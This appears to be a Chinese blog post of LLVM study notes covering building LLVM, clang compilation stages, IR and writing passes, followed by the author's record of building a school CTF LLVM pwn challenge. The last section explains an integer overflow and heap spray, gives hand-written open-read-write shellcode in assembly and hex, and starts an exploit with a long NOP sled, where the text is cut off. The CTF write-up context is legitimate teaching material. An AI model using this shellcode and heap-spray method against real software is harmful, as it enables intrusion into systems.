LLVM学习记录

LLVM学习记录

LLVM介绍

wiki-llvm

LLVM由c++写成,是一个自由软件项目,一种编译器基础设施,一种编译器架构,是一个模块化可重用的编译器及工具链技术的集合,用来开发编译器前端和后端。

LLVM官网首页中介绍了LLVM的主要官方子项目,包括LLVM Core libraries、clang、LLDB等。

传统静态编译器最流行的设计是三阶段设计,其主要组件是前端、优化器和后端。前端解析源代码,检查错误,并构建特定于语言的抽象语法树(AST)来表示输入代码。AST 可以选择转换为新的表示形式以进行优化,并且优化器和后端在代码上运行。传统的编译器诸如GCC前后端耦合在一起,很难支持一门新的语言。

LLVM框架与传统编译器的区别在于引入了**中间代码IR(SSA静态单赋值形式)**,这是LLVM中设计的最重要的一部分。前端对于不同语言的源代码转换成统一的IR的形式,IR选择性地经过一系列pass优化,后端将IR转换成不同的机器代码,这样的设计使得LLVM格外灵活,支持一种新的编程语言,只需要实现一个新的前端。支持一种新的硬件设备,只需要实现一个新的后端。而优化阶段针对的也是统一的LLVM IR。

**前端(Frontend)**:词法分析->语法分析(生成AST语法树)->语义分析->中间代码(IR)。

优化器(Optimizer): 中间代码优化,也可以加载LLVM Pass执行自定义的优化。

后端(Backend): 生成汇编,生成目标文件。把IR编译成目标平台的机器代码。

LLVM框架图

llvm框架

LLVM前端已支持的编程语言:C、C++、ActionScript、Ada、D语言、Fortran、GLSL、Haskell、Java字节码、Objective-C、Swift、Python、Ruby、Crystal、Rust、Scala以及C#等

LLVM后端已支持指令集架构:x86、x86-64、ARM、MIPS、PowerPC以及RISC-V等

llvm构建

官方文档

安装llvm的方式有获取官方预构建二进制文件、使用软件包管理器、从源代码构建三种,为了更好地了解llvm结构,这里选择从源代码构建,仅包含了LLVM核心库及clang子项目

环境及llvm版本

1
2
3
4
5
ubuntu2004虚拟机
cmake version 3.22.1
ninja 1.10.0
lld
llvm 17.0.0git

初始位置在Home目录,构建过程:

1
2
3
4
5
6
7
8
mkdir LLVM
cd LLVM
git clone --depth 1 https://github.com/llvm/llvm-project.git
cd llvm-project
mkdir build
cd build
touch build.sh
sudo ./build.sh

build.sh的内容

1
2
3
4
5
6
7
8
9
10
cmake -G Ninja \
-DLLVM_ENABLE_PROJECTS='clang' \
-DCMAKE_BUILD_TYPE=Release \
-DLLVM_TARGETS_TO_BUILD="X86" \
-DBUILD_SHARED_LIBS=On \
-DLLVM_USE_LINKER=lld \
../llvm

ninja
ninja install

测试

1
clang -v

参数解释:

  • -G Ninja 生成ninja构建文件,使用ninja来构建
  • -DLLVM_ENABLE_PROJECTS=’clang’ 除了 LLVM Core 外,还需要编译的子项目
  • -DCMAKE_BUILD_TYPE=Release cmake的release编译模式,构建时不包含调试信息和断言,占用空间少,编译更快
  • -DLLVM_TARGETS_TO_BUILD=“X86”:默认是ALL,选择X86可节约很多编译时间
  • -DBUILD_SHARED_LIBS=On:指定动态链接 LLVM 的库,可以节省空间
  • -DLLVM_USE_LINKER=lld,使用lld链接器,减少编译时间

踩到的坑

1.cmake版本不能太低,如果通过apt下载的cmake版本无法达到要求,则自己到官网下载

更新cmake参考

2.给虚拟机预留足够的磁盘空间,并且保存快照,内存设置至少4G。编译时间较长,内容较多,内存不足可能会导致虚拟机卡死,磁盘空间不足会导致编译终止,同时重启后无法正常进入图形化界面。

llvm及clang基本使用

Clang是类C语言的编译器前端,是LLVM的一个子项目,代码优化和后端由LLVM核心库提供,所以在下面的编译步骤拆解中,生成IR前都是使用clang命令,之后使用的都是llvm的其它工具

llvm和clang的关系

QQ截图20230724030043

clang编译步骤及命令

对于c++代码,使用clang++

对于c代码,使用clang

1.查看编译的步骤

1
clang -ccc-print-phases hello.c

QQ截图20230714183648

这里冒号后的三个部分含义分别是工具、输入、输出

可以看到包括了input、preprocessor、compiler、backend、assembler、linker六个阶段,事实上在compiler阶段还包括了词法分析、语法分析、语义分析(输出抽象语法树AST)、IR代码生成及优化。

clang中每个步骤生成的文件

QQ截图20230724145504

2.编译步骤拆解

测试用例 hello.c

1
2
3
4
5
#include<stdio.h>
int main(){
cout << "Hello World!" << endl;
return 0;
}

预处理

1
2
3
4
5
6
7
8
9
10
11
12
$ clang -E hello.c
# 1 "hello.c"
# 1 "<built-in>" 1
# 1 "<built-in>" 3
# 384 "<built-in>" 3
# 1 "<command line>" 1
# 1 "<built-in>" 2
# 1 "hello.c" 2
int main(){
printf("Hello World!\n");
return 0;
}

词法分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ clang -E -Xclang -dump-tokens hello.c
int 'int' [StartOfLine] Loc=<hello.c:1:1>
identifier 'main' [LeadingSpace] Loc=<hello.c:1:5>
l_paren '(' Loc=<hello.c:1:9>
r_paren ')' Loc=<hello.c:1:10>
l_brace '{' Loc=<hello.c:1:11>
identifier 'printf' [StartOfLine] [LeadingSpace] Loc=<hello.c:2:2>
l_paren '(' Loc=<hello.c:2:8>
string_literal '"Hello World!\n"' Loc=<hello.c:2:9>
r_paren ')' Loc=<hello.c:2:25>
semi ';' Loc=<hello.c:2:26>
return 'return' [StartOfLine] [LeadingSpace] Loc=<hello.c:3:2>
numeric_constant '0' [LeadingSpace] Loc=<hello.c:3:9>
semi ';' Loc=<hello.c:3:10>
r_brace '}' [StartOfLine] Loc=<hello.c:4:1>
eof '' Loc=<hello.c:4:2>

语法分析与语义分析生成语法树AST

1
2
clang -fsyntax-only -Xclang -ast-dump hello.c
#代码量过大

生成LLVM IR

LLVM IR在磁盘中有两种形式:文本格式,拓展名.ll;bitcode二进制格式,拓展名.bc

文本格式

1
clang -S -emit-llvm hello.c

二进制格式

1
clang -c -emit-llvm hello.c

llvm提供了两种格式相互转换的工具:汇编器llvm-as和反汇编器llvm-dis

llvm-as:将.ll转换成.bc

llvm-dis:将.bc转换成.ll

1
2
llvm-as hello.ll -o hello.bc
llvm-dis hello.bc -o hello.ll

使用lli工具执行LLVM bitcode格式程序(可选)

注:LLI 不是模拟器。它不会执行不同架构的 IR 并且它只能解释(或 JIT 编译)主机体系结构。

1
2
$ lli hello.bc
Hello World!

使用llc工具生成汇编代码及目标文件

1
llc hello.bc -o hello.s

生成的汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
	.text
.file "hello.c"
.globl main # -- Begin function main
.p2align 4, 0x90
.type main,@function
main: # @main
.cfi_startproc
# %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
movabsq $.L.str, %rdi
movb $0, %al
callq printf@PLT
xorl %eax, %eax
addq $16, %rsp
popq %rbp
.cfi_def_cfa %rsp, 8
retq
.Lfunc_end0:
.size main, .Lfunc_end0-main
.cfi_endproc
# -- End function
.type .L.str,@object # @.str
.section .rodata.str1.1,"aMS",@progbits,1
.L.str:
.asciz "Hello World!\n"
.size .L.str, 14

.ident "clang version 17.0.0 (https://github.com/llvm/llvm-project.git b16372c5fc65a6a7c14c19f01b17ac15a964d21f)"
.section ".note.GNU-stack","",@progbits

生成目标文件

1
llc -filetype=obj hello.bc -o hello.o

接下来进行链接即可生成可执行文件,链接器用ld和llvm的子项目lld都可以

部分指令解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
-ccc-print-phases
查看编译的步骤

-E, --preprocess
Only run the preprocessor
只允许预处理步骤
-S, --assemble
Only run preprocess and compilation steps
只运行预处理和编译步骤

-c, --compile
Only run preprocess, compile, and assemble steps
只运行预处理,编译和汇编步骤

-emit-llvm
使用汇编程序和目标文件的 LLVM 表示,可查看IR

-fsyntax-only
运行预处理器、解析器和语义分析阶段

-Xclang <arg>
传递 <arg> 到 clang -cc1

-dump-tokens
运行预处理器,拆分内部代码段为各种token、

-ast-dump
构建抽象语法树AST,然后对其进行拆解和调试

更多细节查看

Clang 命令行参数参考

llvm命令指南

LLVM IR

llvm ir参考手册

LLVM的核心是IR语言(Intermediate Representation),一种类似汇编的底层语言。

IR是一种强类型的精简指令集(Reduced Instruction Set Computing,RISC),并对目标指令集进行了抽象。

LLVM IR有3种表示形式:

text:便于阅读的文本格式。扩展名为.ll
bitcode:二进制格式。扩展名为.bc
memory:内存格式

LLVM IR 的特点如下:

  • 采用静态单一赋值(Static Single Assignment,SSA),即每个值只有一个定义它的赋值操作
  • 代码被组织为三地址指令(Three-address Instructions)
  • 有无限多个寄存器

LLVM Pass

如下图,opt是LLVM的优化器和分析器,可以加载编译好的LLVM Pass,对LLVM IR进行优化。为了对IR进行自定义的优化,我们要做的就是编写好Pass的源代码,编写构建脚本对源码进行编译(一般是.so),然后用opt工具来加载pass对IR进行优化。

QQ截图20230713210133

首先,为了快速入门,先编写一个最基础的Pass,其功能是打印出程序中非外部函数的函数名。

需要注意的是,在LLVM 14.0.0 发行说明中,提到了已经不再推荐使用旧版的pass管理器(the legacy pass manager),并且旧版在llvm14.0.0之后的版本将被移除,但是网上的大部分pass编写教程都还是基于旧版。本文使用的是LLVM17.0.0 git,编译旧版框架pass时发现缺少include/llvm/Transforms/IPO/PassManagerBuilder.h这个头文件,源代码中也没有lib/Transform/IPO/PassManagerBuilder.cpp源文件,而PassManagerBuilder类用于构建旧版PassManager以及默认的Pass管道,这说明确实已经不支持旧版PM了。所以这里使用新版pass管理器。

QQ截图20230728151311

旧版PM官方教程

新版PM官方教程

PM是PassManager的简称

源码集成编译

不生成和使用.so的pass编写方式

该方式不会产生pass的.so文件,使用opt时直接添加–passes来使用pass,opt –passes具体的用法在该文档

新版Writing an LLVM Pass官方教程中是源码内编译的,跟着教程做就可以了

在llvm/lib/Transforms/Utils/HelloWorld.cppllvm/lib/Transforms/Utils/CMakeLists.txt中添加HelloWorld.cpp,即Pass的源文件

QQ截图20230731172147

添加llvm/include/llvm/Transforms/Utils/HelloWorld.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#ifndef LLVM_TRANSFORMS_HELLONEW_HELLOWORLD_H
#define LLVM_TRANSFORMS_HELLONEW_HELLOWORLD_H

#include "llvm/IR/PassManager.h"

namespace llvm {

class HelloWorldPass : public PassInfoMixin<HelloWorldPass> {
public:
PreservedAnalyses run(Function &F, FunctionAnalysisManager &AM);
};

} // namespace llvm

#endif // LLVM_TRANSFORMS_HELLONEW_HELLOWORLD_H

添加llvm/lib/Transforms/Utils/HelloWorld.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//===-- HelloWorld.cpp - Example Transformations --------------------------===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//

#include "llvm/Transforms/Utils/HelloWorld.h"

using namespace llvm;

PreservedAnalyses HelloWorldPass::run(Function &F,
FunctionAnalysisManager &AM) {
errs() << F.getName() << "\n";
return PreservedAnalyses::all();
}

在llvm/lib/Passes/PassRegistry.def中添加,该步骤是注册pass,第一个参数即在opt工具中的pass名称

1
FUNCTION_PASS("helloworld", HelloWorldPass())

QQ截图20230731172806

运行上文llvm构建一节中的build.sh,重新构建llvm。之前已经构建好的不会重新编译,所以编译得很快

1
2
3
4
5
6
7
8
9
10
cmake -G Ninja \
-DLLVM_ENABLE_PROJECTS='clang' \
-DCMAKE_BUILD_TYPE=Release \
-DLLVM_TARGETS_TO_BUILD="X86" \
-DBUILD_SHARED_LIBS=On \
-DLLVM_USE_LINKER=lld \
../llvm

ninja
ninja install

随后使用opt时加入参数-passes=helloworld就能使用该名为helloworld的pass了

测试用例

helloworld.ll

1
2
3
4
5
6
7
8
define i32 @foo() {
%a = add i32 2, 3
ret i32 %a
}

define void @bar() {
ret void
}

测试结果,测试时位于构建时创建的build目录中

1
2
3
4
5
6
$ opt -disable-output '/home/op1n/LLVM/llvm_pass/ir_for_test/helloworld.ll'   -passes=helloworld 
foo
bar
#--print-passes可打印出所有注册的pass
$ opt --print-passes | grep hello
helloworld

生成和使用.so的pass编写方式

主要参考该文章及旧版的Writing an LLVM Pass

在llvm/lib/Transforms目录下创建文件夹MyPass

在MyPass文件夹中创建CMakeLists.txt和MyPass.cpp

llvm/lib/Transforms/MyPass/CMakeLists.txt

1
2
3
4
5
6
7
8
add_llvm_library( LLVMMyPass MODULE BUILDTREE_ONLY
MyPass.cpp

DEPENDS
intrinsics_gen
PLUGIN_TOOL
opt
)

llvm/lib/Transforms/MyPass/MyPass.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include "llvm/IR/PassManager.h"
#include "llvm/Passes/PassBuilder.h"
#include "llvm/Passes/PassPlugin.h"
#include "llvm/Support/raw_ostream.h"

// only needed for printing
#include <iostream>

using namespace llvm;

namespace {

struct MyPass : public PassInfoMixin<MyPass> {

// The first argument of the run() function defines on what level
// of granularity your pass will run (e.g. Module, Function).
// The second argument is the corresponding AnalysisManager
// (e.g ModuleAnalysisManager, FunctionAnalysisManager)
PreservedAnalyses run(Function &F, FunctionAnalysisManager &FAM) {

std::cout << "MyPass in function: " << F.getName().str() << std::endl;

// Here goes what you want to do with a pass

// Assuming you did not change anything of the IR code
return PreservedAnalyses::all();
}
};
}

// This part is the new way of registering your pass
extern "C" ::llvm::PassPluginLibraryInfo LLVM_ATTRIBUTE_WEAK
llvmGetPassPluginInfo() {
return {
LLVM_PLUGIN_API_VERSION, "MyPass", "v0.1",
[](PassBuilder &PB) {
PB.registerPipelineParsingCallback(
[](StringRef Name, FunctionPassManager &FPM,
ArrayRef<PassBuilder::PipelineElement>) {
if(Name == "my-pass"){ //my-pass是使用opt工具加载时的名称
FPM.addPass(MyPass());
return true;
}
return false;
}
);
}
};
}

在llvm/lib/Transforms/CMakeLists.txt中添加

1
add_subdirectory(MyPass)

最后来到llvm构建时创建的build目录中进行构建,只会构建新增的部分,所以构建很快

1
sudo ./build.sh

生成的.so文件在LLVM/llvm-project/build/lib目录中

现在就可以通过opt工具来使用pass了

1
2
3
4
opt -disable-output \
-load-pass-plugin='/home/op1n/LLVM/llvm-project/build/lib/LLVMMyPass.so' \
-passes="my-pass" \
'/home/op1n/LLVM/llvm_pass/ir_for_test/helloworld.ll'

使用clang源码外构建

在源码外直接使用clang进行构建最方便

Pass源码,可以在任意目录,只要有源文件即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include "llvm/IR/PassManager.h"
#include "llvm/Passes/PassBuilder.h"
#include "llvm/Passes/PassPlugin.h"
#include "llvm/Support/raw_ostream.h"

// only needed for printing
#include <iostream>

using namespace llvm;

namespace {

struct MyPass : public PassInfoMixin<MyPass> {

// The first argument of the run() function defines on what level
// of granularity your pass will run (e.g. Module, Function).
// The second argument is the corresponding AnalysisManager
// (e.g ModuleAnalysisManager, FunctionAnalysisManager)
PreservedAnalyses run(Function &F, FunctionAnalysisManager &FAM) {

std::cout << "kkk in function: " << F.getName().str() << std::endl;

// Here goes what you want to do with a pass

// Assuming you did not change anything of the IR code
return PreservedAnalyses::all();
}
};
}

// This part is the new way of registering your pass
extern "C" ::llvm::PassPluginLibraryInfo LLVM_ATTRIBUTE_WEAK
llvmGetPassPluginInfo() {
return {
LLVM_PLUGIN_API_VERSION, "MyPass", "v0.1",
[](PassBuilder &PB) {
PB.registerPipelineParsingCallback(
[](StringRef Name, FunctionPassManager &FPM,
ArrayRef<PassBuilder::PipelineElement>) {
if(Name == "kkk"){
FPM.addPass(MyPass());
return true;
}
return false;
}
);
}
};
}

使用如下命令构建

1
clang `llvm-config --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared MyPass.cpp -o LLVMMyPass.so `llvm-config --ldflags`

运行Pass,和生成.so的源码集成编译一样,需要so文件

1
2
3
4
opt -disable-output \
-load-pass-plugin='./LLVMMyPass.so' \
-passes="my-pass" \
'/home/op1n/LLVM/llvm_pass/ir_for_test/helloworld.ll'

输出

1
2
kkk in function: foo
kkk in function: bar

pass编写

这篇文章有一些常用LLVM语法,更多更详细的内容在官方手册。

tips

测试clang生成的.ll文件时,需要删去 ‘attributes #0’ 行的’optnone’一词。

或在参数中添加-disable-O0-optnone

例:

1
clang -Xclang -disable-O0-optnone -S -emit-llvm test.c

否则pass不会生效

校赛LLVM PWN出题记录

1.题目部署

租的是ubuntu2004阿里云服务器

主要使用xinetd部署,可以看这篇文章

当然实际部署的时候需要做很多修改,以下是成功部署的文件和部署过程

1
2
/ctf_xinetd# ls
bin ctf.xinetd Dockerfile README.md start.sh
1
2
/ctf_xinetd/bin# ls
exp flag lib optimizer.so opt run.sh

lib文件夹是opt运行pass需要的动态链接库,exp是base64解码后的base64输入

基本思路是用户输入的数据经过base64解码后存在exp(ir代码),然后运行opt使用题目的pass来优化ir,这些操作都在run.sh完成

ctf.xinetd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
service ctf
{
disable = no
socket_type = stream
protocol = tcp
wait = no
user = root
type = UNLISTED
port = 8888
bind = 0.0.0.0
server = /usr/sbin/chroot
# replace helloworld to your program
server_args = --userspec=1000:1000 /home/ctf ./run.sh
banner_fail = /etc/banner_fail
# safety options
per_source = 10 # the maximum instances of this service per source IP address
rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use
#rlimit_as = 1024M # the Address Space resource limit for the service
#access_times = 2:00-9:00 12:00-24:00
}

Dockerfile

主要是在镜像中的bin目录下添加了base64命令和echo命令,同时给了run.sh和ctf用户rwx权限

1.base64命令用户解决.ll文件的传输问题。.ll文件有多行,server不方便读取。base64加密后的数据只有一行,shell脚本中一句read就能读取,读取后再base64解码即可。

2.这里不知道为什么,ctf并不在/home/ctf的所属组中,改了chown命令也没用,而且要在ctf用户下创建exp文件需要写权限,只能选择了chmod -R 777 /home/ctf,给了其他用户rwx权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
FROM ubuntu:20.04

RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
apt-get update && apt-get -y dist-upgrade && \
apt-get install -y lib32z1 xinetd


RUN useradd -m ctf

WORKDIR /home/ctf

RUN cp -R /usr/lib* /home/ctf

RUN mkdir /home/ctf/dev && \
mknod /home/ctf/dev/null c 1 3 && \
mknod /home/ctf/dev/zero c 1 5 && \
mknod /home/ctf/dev/random c 1 8 && \
mknod /home/ctf/dev/urandom c 1 9 && \
chmod 666 /home/ctf/dev/*

RUN mkdir /home/ctf/bin && \
cp /bin/sh /home/ctf/bin && \
cp /bin/ls /home/ctf/bin && \
cp /bin/cat /home/ctf/bin &&\
cp /usr/bin/base64 /home/ctf/bin &&\
cp /bin/echo /home/ctf/bin

COPY ./ctf.xinetd /etc/xinetd.d/ctf
COPY ./start.sh /start.sh
RUN echo "Blocked by ctf_xinetd" > /etc/banner_fail

RUN chmod +x /start.sh

COPY ./bin/ /home/ctf/
RUN chown -R root:ctf /home/ctf && \
chmod -R 777 /home/ctf && \
chmod 744 /home/ctf/flag && \
chmod 777 /home/ctf/run.sh


CMD ["/start.sh"]

EXPOSE 9999

run.sh

由于docker接收输入时最多一次性接收4096个字节,而exp长度大约为10000字节,所以循环读入,当用户输入ok时停止输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/bash

echo "input your base64 encoded ir(.ll) :"

input=""
while true; do
read -r -n 4096 segment
if [ "$segment" == "ok" ]; then
break
else
input+="$segment"
fi
done

echo "$input" | base64 -d > exp
cat ./exp
./opt -disable-output \
-load-pass-plugin='./optimizer.so' \
-passes="optimizer" \
'./exp'

docker建立镜像及测试

使用Dockerfile创建镜像

1
docker build -t "test" .

启动镜像,这里8888对应ctf.xinetd和Dockerfile中expose的端口,nc时本地和远程都使用8090端口

1
docker run -d -p "0.0.0.0:8090:9999"  -h "test" --name="test" test

查看所有镜像

1
docker ps -a

测试

1
nc 0.0.0.0 8090

把.ll文件打包成一行base64

1
base64 test.ll | tr -d '\n' > exp

进入容器排查

1
docker exec -it 容器id /bin/bash

停止/再次启动/删除镜像

1
2
3
docker stop 容器id
docker start 容器id
docker rm 容器id

2.考点

对llvm框架基本的认识

需要分析的是pass编译出来的so文件,opt在运行过程中会加载so

新版passmanager怎么找分析时的入口函数?在旧版passmanager中找runonfunction函数就可以了,新版中大概是这个样子,本题可以直接查找字符串交叉引用

1
llvm::PreservedAnalyses *__fastcall `anonymous namespace'::easyheap::run

本地动态调试

本地动态调试需要先启动gdb再set args,同时漏洞点是在so库中的,需要一步一步调到目标so中的目标函数。

首先

1
gdb opt

进入gdb后

1
set args -disable-output -load-pass-plugin='./optimizer.so' -passes="optimizer" './test.ll'

在main函数下断点

1
b main

用ida查看opt的main函数,跳过前面一大堆init函数,从lea开始调试,经过一次call就vmmap查看有没有pass的so库

QQ截图20230918001151

最终发现在

1
llvm::cl::ParseCommandLineOptions

函数中导入了pass的so库,从函数名也可以判断该函数是用来解析命令行参数的

那么,只要在该函数下断点即可

然后调到pass的入口函数

通过vmmap可以看到pass的so文件的基址

QQ截图20230918003125

如图,这里基址是0x7ffff7fae000,用ida打开so文件,可以找到入口函数相对基址的偏移

QQ截图20230918003254

如图,偏移是EC70

相加后得到入口函数地址为0x7FFFF7FBCC70,直接在该地址下断点即可

调到入口函数后就和正常pwn题一样啦

tips:图中演示的文件不是最终的题目文件,偏移可能不一样

整型溢出

buy函数存在整型溢出。在buy时可以buy负数的chunk,money会减去这个负数,导致无限money。

堆喷

在无限money的基础上,可以申请任意大小的chunk并编辑其中内容。

locate可以跳转到一个相对chunk基址有一定随机偏移的地址执行,通过调整buy的chunk的大小并调试可以使loacte随机执行的范围与chunk的范围有交叉,那么此时就有概率从chunk开始执行。

采用堆喷的思想,在要执行的shellcode前添加滑块如nop,填满chunk,那么随机执行到chunk中时,就可以滑到shellcode执行,否则就要正好随机执行到shellcode首字节,这是万分之一级别的概率。

给了buy的chunk地址,可以减少调试难度,同时也可以发现malloc的参数为负数时,本地或许可以申请到chunk,但是remote时会申请失败,需要在chunk构造上做调整。

另外,在locate中开启了沙箱,禁用了execve和execveat,所以要orw,这又涉及另一个问题 — 解析字符串时会被\x00截断,所以要手搓orw_shellcode。

优化后的shellcode如下,35字节,需要手动把可见字符改成\x的形式否则会把/x12和3解析成0x123

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
shellcode = asm(
'''
mov edx,0x67616c66
push rdx
mov rdi,rsp
xor esi,esi
xor rax,rax
mov al,2
syscall
mov edi,eax
mov rsi,rsp
xor eax,eax
syscall
xor di,2
mov eax,edi
syscall
'''
)
1
\xba\x66\x6c\x61\x67\x52\x48\x89\xe7\x31\xf6\x48\x31\xc0\xb0\x02\x0f\x05\x89\xc7\x48\x89\xe6\x31\xc0\x0f\x05\x66\x83\xf7\x02\x89\xf8\x0f\x05

3.exp

概率orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void sell(int a);
void buy(int sz);
void edit(int idx,char* buf);
void locate();
void show();

char buf[35+0x800+0x1] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x